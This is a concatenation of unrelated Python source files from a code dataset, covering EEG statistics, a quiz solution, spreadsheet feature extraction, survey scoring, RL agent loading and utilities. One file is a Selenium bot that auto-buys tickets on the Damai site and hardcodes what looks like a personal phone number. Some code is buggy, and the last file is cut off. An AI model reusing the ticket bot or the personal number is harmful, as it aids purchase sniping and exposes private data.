'RS', method, path_results_subjects)\r\n compute_morph, _ = set_function_names(level)\r\n _, src = compute_morph(subjects_dir, inverse_op, subject_to)\r\n\r\n parent_folder = os.path.dirname(psd_file)\r\n\r\n # Load dara\r\n npzfile = np.load(psd_file, allow_pickle = True)\r\n\r\n # Exclusions\r\n Mtd1 = np.delete(npzfile[\"Mtd1\"], obj = indices_td, axis = 0)\r\n Mtd2 = np.delete(npzfile[\"Mtd2\"], obj = indices_td, axis = 0)\r\n Masd1 = np.delete(npzfile[\"Masd1\"], obj = indices_asd, axis = 0)\r\n Masd2 = np.delete(npzfile[\"Masd2\"], obj = indices_asd, axis = 0)\r\n Std1 = np.delete(npzfile[\"Std1\"], obj = indices_td, axis = 0)\r\n Sasd1 = np.delete(npzfile[\"Sasd1\"], obj = indices_asd, axis = 0)\r\n\r\n #compute z score\r\n score_td = zscore(Mtd2, Mtd1, Std1)\r\n score_asd = zscore(Masd2, Masd1, Sasd1)\r\n \r\n if level in [\"sensor\", \"sensors\"]:\r\n connectivity, _ = find_ch_adjacency(epochs_RS.info, ch_type='eeg')\r\n else:\r\n connectivity = mne.spatial_src_connectivity(src)\r\n if compare == \"all\":\r\n clu = cluster_permutation_test_1sample(score_td, connectivity, tfce = tfce)\r\n save_results(level, liste_cond, frequency, liste_TD, tfce, parent_folder, \r\n method, score = score, Xtd=score_td, T_obs = clu[0], clusters = clu[1],\r\n clusters_pvalues = clu[2], participants = \"td\")\r\n \r\n clu = cluster_permutation_test_1sample(score_asd, connectivity, tfce = tfce)\r\n save_results(level, liste_cond, frequency, liste_ASD, tfce, parent_folder, method, \r\n score = score, Xasd=score_asd, T_obs = clu[0], clusters = clu[1],\r\n clusters_pvalues = clu[2], participants = \"asd\")\r\n\r\n clu = cluster_permutation_test_2sample(score_asd, score_td, connectivity, tfce = tfce)\r\n save_results(level, liste_cond, frequency, liste_ASD + liste_TD, tfce, parent_folder, method, \r\n score = score, Xasd=score_asd, Xtd=score_td, T_obs = clu[0], clusters = clu[1],\r\n clusters_pvalues = clu[2])\r\n\r\n","sub_path":"HDC/EEG/analyses_groupes.py","file_name":"analyses_groupes.py","file_ext":"py","file_size_in_byte":14494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"319534008","text":"# DO *NOT* WRITE YOUR NAME TO MAINTAIN ANONYMITY FOR PLAGIARISM DETECTION\n#\n# Call multibase a nonempty finite sequence of strictly positive\n# integers (a_n, ..., a_0) all at most equal to 10.\n# A positive integer is said to be a valid representation in the\n# multibase if it is of the form x_k...x_0 with k <= n and for all\n# i in {0,...,k}, x_i < a_i. Its representation in base 10 is defined as\n# x_0 + x_1*a_0 + x_2*a_0*a_1 + ... + x_k*a_0*a_1*...*a_{k-1}.\n#\n# Determines the largest integer with a valid representation\n# in the multibase, and converts representations between base\n# 10 and the multibase.\n#\n# For instance, consider the multibase (8, 10, 6, 1).\n# - 3820 is a valid representation in the multibase; it is the number\n# that in base 10 reads as 0 + 2*1 + 8*6*1 + 3*10*6*1 = 230.\n# - 432, as a decimal number, can be represented in the multibase,\n# reading as 7200, since 2*6 + 7*10*6 = 432.\n\nimport sys\n\ntry: \n multibase = [int(x) for x in input('Enter a nonempty sequence of integers '\n 'between 1 and 10: '\n ).split()\n ]\n if not len(multibase) or any(b < 1 or b > 10 for b in multibase): \n raise ValueError\nexcept ValueError:\n print('Incorrect input, giving up.')\n sys.exit()\ntry: \n input_multibase_representation =\\\n int(input('Enter a first positive number: '))\n if input_multibase_representation < 0: \n raise ValueError\nexcept ValueError:\n print('Incorrect input, giving up.')\n sys.exit()\ntry: \n input_base_10_representation =\\\n int(input('Enter a second positive number: '))\n if input_base_10_representation < 0: \n raise ValueError\nexcept ValueError:\n print('Incorrect input, giving up.')\n sys.exit()\n\nvalid_multibase_representation = True\nvalid_base_10_representation = True\nmax_number = 0\noutput_multibase_representation = 0\noutput_base_10_representation = 0\n\n# INSERT YOUR CODE HERE\nr_multibase=multibase[::-1]\nfor i in range(1,len(r_multibase)):\n r_multibase[i]=r_multibase[i]*r_multibase[i-1]\nmax_num_base=multibase[::-1]\n\nfor i in range(1,len(max_num_base)):\n max_number=(max_num_base[i]-1)*r_multibase[i-1]+max_number\nmax_number=max_number+max_num_base[0]-1\n#print(max_num_base,r_multibase)\n\nm1=multibase[::-1]\nm2=[int(x) for x in str(input_multibase_representation)[::-1]]\nif len(m2)>len(m1):\n valid_multibase_representation=False\nelse:\n for i in range(len(m2)) :\n if m2[i]>=m1[i]:\n valid_multibase_representation=False\n break\n else:\n if i==0:\n output_base_10_representation=output_base_10_representation+m2[0]\n elif i >0:\n output_base_10_representation=output_base_10_representation+m2[i]*r_multibase[i-1]\n\n\nif input_base_10_representation > max_number:\n valid_base_10_representation=False\nelse:\n b=''\n num=input_base_10_representation\n for i in range(len(m1)):\n a=num//m1[i]\n #print(b,num % m1[i])\n b=str(num % m1[i])+b\n num=a\n #print(b,str(num % m1[i]))\n output_multibase_representation=int(b)\n\n\n\n\n\n\n\nprint('The largest number that can be represented in this multibase is:',\n max_number\n )\nif not valid_multibase_representation:\n print(input_multibase_representation,\n 'is not a valid representation in the given multibase.'\n )\nelse:\n print('In base 10,', input_multibase_representation,\n 'reads as:', output_base_10_representation\n )\nif not valid_base_10_representation:\n print(input_base_10_representation, 'cannot be represented in the '\n 'given multibase.'\n )\nelse:\n print('In the given multibase,', input_base_10_representation,\n 'reads as:', output_multibase_representation\n )\n\n\n\n\n\n","sub_path":"quiz3/quiz_3.py","file_name":"quiz_3.py","file_ext":"py","file_size_in_byte":3836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"632510674","text":"\"\"\"\r\n基于python和selenium实现的大麦网自动刷新抢票脚本\r\n用户要提前添加好个人信息和收货地址\r\n\"\"\"\r\n\r\nimport requests\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.common.exceptions import TimeoutException\r\nimport time\r\n\r\n# 设置抢票链接和开票时间\r\nURL = \"https://piao.damai.cn/138382.html?spm=a2o6e.search.0.0.2b5328df7CB40F\"\r\nHOUR = 11\r\nMIN = 18\r\n\r\ndriver = webdriver.Chrome()\r\n# 设置等待时间\r\nwait = WebDriverWait(driver, 5)\r\n# 以周杰伦的为例\r\ndriver.get(URL)\r\n\r\n# test\r\n# driver.get(\"https://piao.damai.cn/141699.html?spm=a2o6e.search.0.0.10f94d15pF81cd\")\r\n\r\n\r\ndef choose(seletor):\r\n try:\r\n # 控件可点击时才选定\r\n choice = wait.until(EC.element_to_be_clickable((By.CSS_SELECTOR, seletor)))\r\n return choice\r\n except TimeoutException as e:\r\n print(\"Time out!\")\r\n return None\r\n except Exception:\r\n print(\"Not found!\")\r\n return None\r\n\r\n# 点击登录\r\nlogin = choose(\"#userLoginInfo > span > a:nth-child(1)\")\r\nlogin.click()\r\nusername = choose(\"#login_email\")\r\nusername.send_keys(\"13112390306\")\r\n\"\"\"\r\n由于密码框控件被设置为不可见\r\n先自行输入密码并记住密码\r\n方便刷新\r\n(也可用cookie实现)\r\n\"\"\"\r\n\r\n# 10秒等待用户输入密码后再开始刷\r\ntime.sleep(10)\r\n\r\nwhile 1:\r\n if HOUR == time.localtime().tm_hour:\r\n while 1:\r\n if MIN == time.localtime().tm_min:\r\n print(\"开始抢票\")\r\n driver.get(URL)\r\n price = None\r\n plus = None\r\n buybtn = None\r\n submit = None\r\n # 点击价格\r\n while None == price:\r\n # 这里选的是580票面的,如果选其他票面,修改对应的选择器内容即可\r\n price = choose(\"li.itm-oos:nth-child(2)\")\r\n print(price)\r\n price.click()\r\n # 数量加1\r\n while None == plus:\r\n plus = choose(\"a.btn:nth-child(3)\")\r\n plus.click()\r\n # 立即抢购\r\n while None == buybtn:\r\n buybtn = choose(\"#btnBuyNow\")\r\n buybtn.click()\r\n # 提交订单\r\n while None == submit:\r\n submit = choose(\"#orderConfirmSubmit\")\r\n submit.click()\r\n break\r\n \r\ntime.sleep(10)\r\n# driver.quit()\r\nprice(\"抢票成功\")\r\n","sub_path":"damai.py","file_name":"damai.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"250318820","text":"import xlsxwriter\nimport xlrd\nexcel = xlrd.open_workbook(\"mainbasket_daftarsteaming.xlsx\")\nsheetdata = excel.sheet_by_index(0)\n'''\ndata.name = nama sheet\ndata.nrows = jumah baris\ndata.ncols = jumlah kolom\n'''\n\n\nworkbook = xlsxwriter.Workbook('mainbasket_vsmsatufitur.xlsx')\nworksheet1 = workbook.add_worksheet()\n\ndata=[]\nkumpulan_katadasar=\"\"\nfor i in range(1,sheetdata.nrows):\n\n value = sheetdata.cell_value(rowx=i, colx=2)\n\n kumpulan_katadasar=kumpulan_katadasar+value\n data.append(value)\n\nprint (kumpulan_katadasar)\n\n\ntemp = {}\nkal = kumpulan_katadasar.split(\" \")\nfor i in kal:\n if i not in temp:\n temp[i] = 1\n else:\n hasil_sementara = temp[i]\n temp[i] = hasil_sementara + 1\n\n\n# print (temp)\n\n\ndef list_fitur():\n t = {}\n semua_kata = \"\"\n for i in data:\n #print (i)\n semua_kata = semua_kata + i + \" \"\n\n for j in semua_kata.split(\" \"):\n t[j] = 0\n\n del t[\"\"]\n return t\n\nprint (len(list_fitur()))\n\nprint ((list_fitur()))\n\ndef hapus_fitur():\n temp=[]\n tampung_data=[]\n for baris in range(1, sheetdata.nrows):\n value = sheetdata.cell_value(rowx=baris, colx=2)\n tempkat = value.split(\" \")\n tampung_data.append(tempkat)\n\n kolom=0\n for kata in list_fitur():\n count=0\n for i in range(len(tampung_data)):\n if kata in tampung_data[i] :\n count+=1\n\n if count>1:\n if kata not in temp:\n temp.append(kata)\n worksheet1.write(0,kolom+1,kata)\n\n\n kolom+=1\n\n break\n return temp\n\nprint (\"panjang\",len(hapus_fitur()))\nprint (\"temp_fitur\",(hapus_fitur()))\n\n\n\ndef hitung_katatiapbaris():\n tampung_data = []\n for baris in range(1, sheetdata.nrows):\n value = sheetdata.cell_value(rowx=baris, colx=2)\n temp = value.split(\" \")\n dict_baris = {}\n for i in temp:\n if i == '':\n continue\n temp_count = 0\n\n for j in temp:\n\n if i == j:\n temp_count += 1\n dict_baris[i] = temp_count\n tampung_data.append(dict_baris)\n\n return tampung_data\n\nfor baris in range(1,sheetdata.nrows):\n kolom=1\n for temp_fitur in hapus_fitur():\n\n if temp_fitur not in hitung_katatiapbaris()[baris-1]:\n hasil = 0\n #continue\n else:\n hasil=hitung_katatiapbaris()[baris-1][temp_fitur]\n\n print (\"data ke>>\",baris,\"kata>>\",temp_fitur,\"ada>>\",hasil)\n\n worksheet1.write(baris, kolom, int(hasil))\n\n kolom+=1\nworkbook.close()\n\n\n\n","sub_path":"mainbasket_sastrawi_seringmuncul.py","file_name":"mainbasket_sastrawi_seringmuncul.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"194432152","text":"import time\nimport sys\n\n'''\n Progress Bar\n Parameters: width = number of iterations\n'''\n\nclass progressBar():\n\n ''' Init function '''\n def __init__(self, width):\n if width is None:\n self.width = 40\n else:\n self.width = width\n\n sys.stdout.write(\"[%s]\" % (\" \" * self.width))\n sys.stdout.flush()\n sys.stdout.write(\"\\b\" * (self.width+1)) # return to start of line, after '['\n \n self.iter = 0\n \n ''' Update function > use this inside for loops '''\n def update(self):\n sys.stdout.write(\"-\")\n sys.stdout.flush()\n \n self.iter = self.iter + 1\n \n if self.iter == self.width:\n sys.stdout.write(\"]\\n\") # this ends the progress bar\n \n\nif __name__ == '__main__':\n\n pBar = progressBar(40)\n\n for i in range(pBar.width):\n time.sleep(0.1) # do real work here\n # update the bar\n pBar.update()","sub_path":"progressBar.py","file_name":"progressBar.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"13370866","text":"import math\n\nN = 5\nARR = [2, 4, 4, 0, 2]\n\nN = 7\nARR = [6, 4, 0, 2, 4, 0, 2]\n#\n# N = 8\n# ARR = [7, 5, 1, 1, 7, 3, 5, 3]\n#\nN = int(input())\nARR = list(map(int, input().split()))\n\n\ndef calculate(n, arr):\n if n % 2 == 0:\n n = n // 2\n start = 1\n finalResult = pow(2, n, 1000000000 + 7)\n else:\n n = n // 2 + 1\n start = 0\n finalResult = pow(2, (n - 1), 1000000000 + 7)\n\n result = {}\n for i in range(n):\n index = start + 2 * i\n if index == 0:\n result.__setitem__(0, 1)\n else:\n result.__setitem__(index, 2)\n\n isOk = True\n for i in range(len(arr)):\n if result.get(arr[i]) == None:\n isOk = False\n break\n\n if result.get(arr[i]) == 0:\n isOk = False\n break\n\n result.__setitem__(arr[i], result.get(arr[i])-1)\n\n if isOk == False:\n print(0)\n return\n\n if sum(result.values()) == 0:\n print(finalResult)\n else:\n print(0)\n\n\ncalculate(N, ARR)\n","sub_path":"Python_codes/p03846/s527402211.py","file_name":"s527402211.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"70215043","text":"#!/usr/bin/env python\n\nfrom collections import Counter\n\ncounts = Counter() # <1>\n\nwith open(\"../DATA/breakfast.txt\") as breakfast_in:\n for line in breakfast_in:\n item = line.rstrip('\\n\\r') # <2>\n counts[item] += 1 # <3>\n\n# for item, count in counts.items(): # <4>\n# print(item, count)\n\nprint(counts)\n\n\nwith open('../DATA/words.txt') as words_in:\n all_letters = [w[0] for w in words_in]\n\nword_counter = Counter(all_letters)\n\nprint(word_counter.most_common(6))\n\nprint(Counter(w[0] for w in open('../DATA/words.txt')).most_common(6))\n","sub_path":"EXAMPLES/count_with_counter.py","file_name":"count_with_counter.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"473924029","text":"import sys\nimport os\n \ndef createEntityModel(_entityName):\n header = \"\"\"#ifndef INCLUDED_EXPEDITION_COMPONENTS_MODELS_{upperEntityName}_MODEL_HPP_\n#define INCLUDED_EXPEDITION_COMPONENTS_MODELS_{upperEntityName}_MODEL_HPP_\n\n#include \n\nnamespace expd {{\n\n class {entityName}Model : public ModelBase {{\n public:\n {entityName}Model(void);\n ~{entityName}Model(void);\n }};\n\n}}\n\n#endif // INCLUDED_EXPEDITION_COMPONENTS_MODELS_{upperEntityName}_MODEL_HPP_\n\"\"\".format(\n upperEntityName = _entityName.upper(), \n entityName = _entityName\n )\n source = \"\"\"#include \n\nnamespace expd {{\n\n {entityName}Model::{entityName}Model(void) {{\n \n }}\n\n {entityName}Model::~{entityName}Model(void) {{\n \n }}\n\n}}\n\"\"\".format(\n entityName = _entityName\n)\n \n return (source, header)\n\ndef createEntityView(_entityName):\n header = \"\"\"#ifndef INCLUDED_EXPEDITION_COMPONENTS_VIEWS_{upperEntityName}_VIEW_HPP_\n#define INCLUDED_EXPEDITION_COMPONENTS_VIEWS_{upperEntityName}_VIEW_HPP_\n\n#include \n\nnamespace expd {{\n class {entityName}Model;\n class {entityName}View : public ViewBase {{\n public:\n {entityName}View({entityName}Model *_model);\n ~{entityName}View(void) override;\n\n\t\tvoid update(float _delta) override;\n\t\tvoid draw(sf::RenderTarget& _target, sf::RenderStates _states) const override;\n\n private:\n {entityName}Model *m_Model;\n }};\n\n}}\n\n#endif // INCLUDED_EXPEDITION_COMPONENTS_VIEWS_{upperEntityName}_VIEW_HPP_\n\"\"\".format(\n upperEntityName = _entityName.upper(), \n entityName = _entityName\n)\n source = \"\"\"#include \n#include \n\nnamespace expd {{\n\n {entityName}View::{entityName}View({entityName}Model *_model) :\n m_Model(_model) {{\n \n }}\n {entityName}View::~{entityName}View(void) {{\n \n }}\n\n void {entityName}View::update(float _delta) {{\n\n }}\n void {entityName}View::draw(sf::RenderTarget& _target, sf::RenderStates _states) const {{\n\n }}\n}}\n\"\"\".format(\n entityName = _entityName\n)\n \n return (source, header)\n\ndef createEntityController(_entityName):\n header = \"\"\"#ifndef INCLUDED_EXPEDITION_COMPONENTS_CONTROLLERS_{upperEntityName}_CONTROLLER_HPP_\n#define INCLUDED_EXPEDITION_COMPONENTS_CONTROLLERS_{upperEntityName}_CONTROLLER_HPP_\n\n#include \n\nnamespace expd {{\n\tclass {entityName}Model;\n\tclass {entityName}Controller : public ControllerBase {{\n\tpublic:\n\t\t{entityName}Controller({entityName}Model *_model);\n\t\t~{entityName}Controller(void) override;\n\n\t\tvoid update(float _delta) override;\n\t\tbool handleMessage(const GameMessage& _message) override;\n\t\tbool handleEvent(const sf::Event& _event) override;\n\n\tprivate:\n\t\t{entityName}Model * m_Model;\n\t}};\n}}\n\n#endif // INCLUDED_EXPEDITION_COMPONENTS_CONTROLLERS_{upperEntityName}_CONTROLLER_HPP_\n\"\"\".format(\n upperEntityName = _entityName.upper(), \n entityName = _entityName\n)\n source = \"\"\"#include \n#include \n\nnamespace expd {{\n\n\t{entityName}Controller::{entityName}Controller({entityName}Model *_model) :\n\t\tControllerBase(_model),\n\t\tm_Model(_model) {{\n\n\t}}\n\t{entityName}Controller::~{entityName}Controller(void) {{\n\n\t}}\n\n\tvoid {entityName}Controller::update(float _delta) {{\n\n\t}}\n\tbool {entityName}Controller::handleMessage(const GameMessage& _message) {{\n\t\treturn false;\n\t}}\n\tbool {entityName}Controller::handleEvent(const sf::Event& _event) {{\n\t\treturn false;\n\t}}\n}}\n\"\"\".format(\n entityName = _entityName\n)\n return (source, header)\n\nclass EntityCreation:\n 'Class to help creating entities'\n\n def __init__(self, projectName, projectPath):\n self.ProjectName = projectName\n self.ProjectPath = projectPath\n self.SourceLocation = \"src\"\n self.HeaderLocation = \"include\"\n self.ModelFolder = \"Models\"\n self.ViewFolder = \"Views\"\n self.ControllerFolder = \"Controllers\"\n self.ComponentsFolder = \"Components\"\n pass\n\n def createEntity(self, _entityName):\n (self.modelSource, self.modelHeader) = createEntityModel(_entityName)\n (self.viewSource, self.viewHeader) = createEntityView(_entityName)\n (self.controllerSource, self.controllerHeader) = createEntityController(_entityName)\n\n self.ModelSourceFilePath = os.path.join(self.ProjectPath, self.SourceLocation, self.ProjectName, self.ComponentsFolder, self.ModelFolder, _entityName + \"Model.cpp\")\n self.ModelHeaderFilePath = os.path.join(self.ProjectPath, self.HeaderLocation, self.ProjectName, self.ComponentsFolder, self.ModelFolder, _entityName + \"Model.hpp\")\n\n self.ViewSourceFilePath = os.path.join(self.ProjectPath, self.SourceLocation, self.ProjectName, self.ComponentsFolder, self.ViewFolder, _entityName + \"View.cpp\")\n self.ViewHeaderFilePath = os.path.join(self.ProjectPath, self.HeaderLocation, self.ProjectName, self.ComponentsFolder, self.ViewFolder, _entityName + \"View.hpp\")\n\n self.ControllerSourceFilePath = os.path.join(self.ProjectPath, self.SourceLocation, self.ProjectName, self.ComponentsFolder, self.ControllerFolder, _entityName + \"Controller.cpp\")\n self.ControllerHeaderFilePath = os.path.join(self.ProjectPath, self.HeaderLocation, self.ProjectName, self.ComponentsFolder, self.ControllerFolder, _entityName + \"Controller.hpp\")\n\n pass\n\n def validateEntityFilesExist(self, _entityName):\n\n if (os.path.exists(self.ModelSourceFilePath)):\n print('Model Source file exists')\n return False\n if (os.path.exists(self.ModelHeaderFilePath)):\n print('Model Header file exists')\n return False\n\n if (os.path.exists(self.ViewSourceFilePath)):\n print('View Source file exists')\n return False\n if (os.path.exists(self.ViewHeaderFilePath)):\n print('View Header file exists')\n return False\n\n if (os.path.exists(self.ControllerSourceFilePath)):\n print('Controller Source file exists')\n return False\n if (os.path.exists(self.ControllerHeaderFilePath)):\n print('Controller Header file exists')\n return False\n\n return True\n \n def createEntityFiles(self, _entityName):\n with open(self.ModelSourceFilePath,'w+') as f:\n f.write(self.modelSource)\n with open(self.ModelHeaderFilePath,'w+') as f:\n f.write(self.modelHeader)\n \n with open(self.ViewSourceFilePath,'w+') as f:\n f.write(self.viewSource)\n with open(self.ViewHeaderFilePath,'w+') as f:\n f.write(self.viewHeader)\n \n with open(self.ControllerSourceFilePath,'w+') as f:\n f.write(self.controllerSource)\n with open(self.ControllerHeaderFilePath,'w+') as f:\n f.write(self.controllerHeader)\n\n\nif __name__ == '__main__':\n EntityName = \"TileBound\"\n ProjectName = \"Expedition\"\n\n Path = os.getcwd()\n res = Path[:Path.find(ProjectName) + len(ProjectName)]\n\n entityCreate = EntityCreation(ProjectName, res)\n\n entityCreate.createEntity(EntityName)\n\n if (not entityCreate.validateEntityFilesExist(EntityName)):\n exit()\n\n entityCreate.createEntityFiles(EntityName)\n ","sub_path":"utility/Python/CreateEntity.py","file_name":"CreateEntity.py","file_ext":"py","file_size_in_byte":7571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"483542236","text":"import json2dat\nimport os\nimport re\nimport multiprocessing\n\nGraph_Json_Path = '../data/graph/'\nGraph_Json_Data = '../data/graph_json_simple'\nGraph_Binary_Path = '../data/graph_binary'\nMeta_File = '../data/meta'\nThread_Count = 8\n\n\ndef convert(graph_files, meta_info, out_path):\n for gf in graph_files:\n filename, _ = os.path.splitext(os.path.split(gf)[1])\n output_file = os.path.join(out_path, filename + '.dat')\n if os.path.exists(output_file):\n print(\"Skip: %s\" % output_file)\n else:\n c = json2dat.Converter(meta_info, gf, output_file+'.tmp')\n c.do()\n os.rename(output_file+'.tmp', output_file)\n print(multiprocessing.current_process().name + ' Finished')\n\n\ndef get_graph_files(path):\n graph_files = []\n re_gf = re.compile(\"part-\\d+\")\n for root, _, files in os.walk(path):\n for name in files:\n m = re_gf.match(name)\n if not m: continue\n if m.end(0) == len(name):\n graph_files.append(os.path.join(root, name))\n return graph_files\n\n\n#def create_graph_files(path):\n\n\nif __name__ == '__main__':\n gf = [Graph_Json_Data]\n c = len(gf)\n print(c)\n t_c = int(c / Thread_Count)\n tasks = []\n for i in range(0, c):\n p_gf = gf[:]\n t = multiprocessing.Process(name='Task-%d-%d'% (i, i+len(p_gf)-1),\n target=convert, args=(p_gf, Meta_File, Graph_Binary_Path,))\n tasks.append(t)\n t.start()\n for t in tasks:\n t.join()\n","sub_path":"data_process/convert_to_binary.py","file_name":"convert_to_binary.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"495164947","text":"import pytest\nimport torch\n\nfrom baal.utils import array_utils\nfrom baal.utils.iterutils import map_on_tensor\n\n\n@pytest.fixture()\ndef a_tensor():\n return torch.randn([10, 3, 32, 32])\n\n\ndef test_stack_in_memory_single(a_tensor):\n iterations = 10\n out = array_utils.stack_in_memory(a_tensor, iterations=iterations)\n assert out.shape == (10 * iterations, 3, 32, 32)\n\n\ndef test_stack_in_memory_multi(a_tensor):\n iterations = 10\n t = [a_tensor, a_tensor]\n out = map_on_tensor(lambda ti: array_utils.stack_in_memory(ti, iterations=iterations), t)\n assert out[0].shape == (10 * iterations, 3, 32, 32)\n assert out[1].shape == (10 * iterations, 3, 32, 32)\n\n\nif __name__ == '__main__':\n pytest.main()\n","sub_path":"tests/utils/test_array_utils.py","file_name":"test_array_utils.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"26713796","text":"import json\nfrom pymongo import MongoClient\nimport math\nimport pandas as pd\nfrom bson import ObjectId\n\nDB_URI = 'mongodb:///admin'\nDB_NAME = 'interactive_cloze'\n\nmongo_cursor = MongoClient(DB_URI, connect = False)\ndb = mongo_cursor[DB_NAME]\n\nCSV_FILE = \"raw_survey\"\n\nCOLLECTION_NAME = \"survey\"\n\ndef get_survey_key():\n survey_key = None\n with open('survey_key2.json') as f:\n survey_key = json.load(f)\n \n if survey_key:\n return survey_key\n\n return False\n\ndef populate_db():\n print (\"populating db with \" + CSV_FILE + \".csv\")\n db[COLLECTION_NAME].remove({})\n df = pd.read_csv( CSV_FILE + \".csv\")\n for i,row in df.iterrows():\n doc = dict()\n for column in df.columns:\n if (not (type(row[column]) is str)):\n if (not math.isnan(row[column])):\n doc[column] = row[column]\n else:\n doc[column] = row[column]\n db[COLLECTION_NAME].update({'ResponseId':doc['ResponseId']}, doc, upsert = True)\n print ('[' + CSV_FILE + '][' + str(i) + \"] inserted into db...\")\n print (\"COMPLETE: populated db with \" + CSV_FILE + \".csv\")\n\ndef clean_and_process():\n print (\"cleaning and processing db...\")\n survey_key = get_survey_key()\n \n if survey_key:\n cnt = 0\n total = db[COLLECTION_NAME].find().count()\n for doc in db[COLLECTION_NAME].find(no_cursor_timeout=True):\n for key in doc.keys():\n if key[0] == 'Q':\n question_label = key[1:]\n #iterate categories\n for i in range(len(survey_key)):\n category_label = survey_key[i]['category_label']\n #iterate docs\n for j in range(len(survey_key[i]['docnames'])):\n docname = survey_key[i]['docnames'][j]['docname']\n timing_qno = survey_key[i]['docnames'][j]['timing_qno']\n\n if '_' in question_label:\n if timing_qno == question_label.split('_')[0]:\n db[COLLECTION_NAME].update({'_id':doc['_id']}, {'$set':{category_label + '_docname': docname}}, upsert=True)\n db[COLLECTION_NAME].update({'_id':doc['_id']}, {'$set':{category_label + '_' + question_label.split('_')[1]: doc[key]}}, upsert=True)\n break\n \n else:\n #iterate questions\n # print (survey_key[i]['docnames'][j])\n for k in range(len(survey_key[i]['docnames'][j]['questions'])):\n qno = survey_key[i]['docnames'][j]['questions'][k]['qno']\n answer = survey_key[i]['docnames'][j]['questions'][k]['answer']\n\n if qno == question_label:\n if doc[key] == answer:\n db[COLLECTION_NAME].update({'_id':doc['_id']}, {'$set':{category_label + '_docname': docname}}, upsert=True)\n db[COLLECTION_NAME].update({'_id':doc['_id']}, {'$set':{category_label + '_Q' + str(k+1): True}}, upsert=True)\n else:\n db[COLLECTION_NAME].update({'_id':doc['_id']}, {'$set':{category_label + '_docname': docname}}, upsert=True)\n db[COLLECTION_NAME].update({'_id':doc['_id']}, {'$set':{category_label + '_Q' + str(k+1): False}}, upsert=True)\n\n cnt += 1\n print (str(cnt) + '/' + str(total))\n print (\"COMPLETE: db processed...\")\n\ndef create_csv():\n print (\"creating csv...\")\n survey_key = get_survey_key()\n\n attrs = ['MID']\n \n for i in range(len(survey_key)):\n category_label = survey_key[i]['category_label']\n attrs.append(category_label + '_Q1')\n attrs.append(category_label + '_Q2')\n attrs.append(category_label + '_Q3')\n attrs.append(category_label + '_First Click')\n attrs.append(category_label + '_Last Click')\n attrs.append(category_label + '_Page Submit')\n attrs.append(category_label + '_Click Count')\n attrs.append(category_label + '_docname')\n\n \n file_name = \"survey_results.csv\"\n\n results = dict()\n for attr in attrs:\n results[attr] = list()\n\n for doc in db[COLLECTION_NAME].find({'MID':{'$exists':True}},no_cursor_timeout=True):\n if (doc['StartDate'] == 'Start Date') or (doc['StartDate'] == '{\"ImportId\":\"startDate\",\"timeZone\":\"America/New_York\"}'):\n continue\n for attr in attrs:\n if attr in doc:\n results[attr].append(doc[attr])\n else:\n results[attr].append(None)\n\n # for attr in attrs:\n # print (attr + ' ' +str(len(results[attr])))\n # print (results)\n df = pd.DataFrame(data=results)\n df.to_csv(file_name)\n print (file_name + \" saved.\")\n\npopulate_db()\nclean_and_process()\ncreate_csv()\n","sub_path":"comprehensionQuestions/score_survey.py","file_name":"score_survey.py","file_ext":"py","file_size_in_byte":5220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"522282538","text":"\"\"\"Pendulum solution.\"\"\"\n\nimport tensorflow as tf\nimport gym\n\n\nclass BipedalWalkerAgent:\n def __init__(self):\n self.actor, self.critic = (None, None)\n self.load_models()\n assert((self.actor, self.critic) != (None, None))\n\n def load_models(self):\n try:\n self.critic = tf.keras.models \\\n .load_model('./bipedal_walker_solution/critic')\n self.actor = tf.keras.models \\\n .load_model('./bipedal_walker_solution/actor')\n return True\n except Exception as err:\n print(err)\n\n def get_action(self, state):\n return self.actor(state)*2\n\n\ndef play(steps):\n env = gym.make('BipedalWalker-v3')\n agent = BipedalWalkerAgent()\n state = env.reset()\n agent.actor.summary()\n agent.critic.summary()\n for i in range(steps):\n action = agent.get_action(state[None])[0]\n state, reward, done, _ = env \\\n .step(action)\n state = state\n env.render()\n\n\nplay(steps=1000)\n","sub_path":"bipedal_walker_solution/play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"462841942","text":"import netaddr\nfrom oslo_config import cfg\nfrom oslo_log import log\n\nfrom ovn_k8s import constants\nfrom ovn_k8s.lib import ovn\nfrom ovn_k8s import utils\n\nLOG = log.getLogger(__name__)\n\n\ndef init_conf(args):\n # Register options\n opts = [\n cfg.StrOpt('lrouter_name', default=constants.DEFAULT_LROUTER_NAME),\n cfg.StrOpt('k8s_api_server_host', default='127.0.0.1'),\n cfg.IntOpt('k8s_api_server_port', default='8080'),\n cfg.StrOpt('ovn_nb_remote',\n default='unix:/var/run/openvswitch/nb_db.sock'),\n cfg.FloatOpt('coalesce_interval', default='0.1',\n help=('Interval in seconds for coalescing events.'\n 'There will be a delay in event processing equal '\n 'to the value of this parameter')),\n cfg.BoolOpt('enable_networkpolicy', default=False,\n help=('Set to True to enable watching and processing '\n 'network policy objects'))]\n cfg.CONF.register_opts(opts)\n 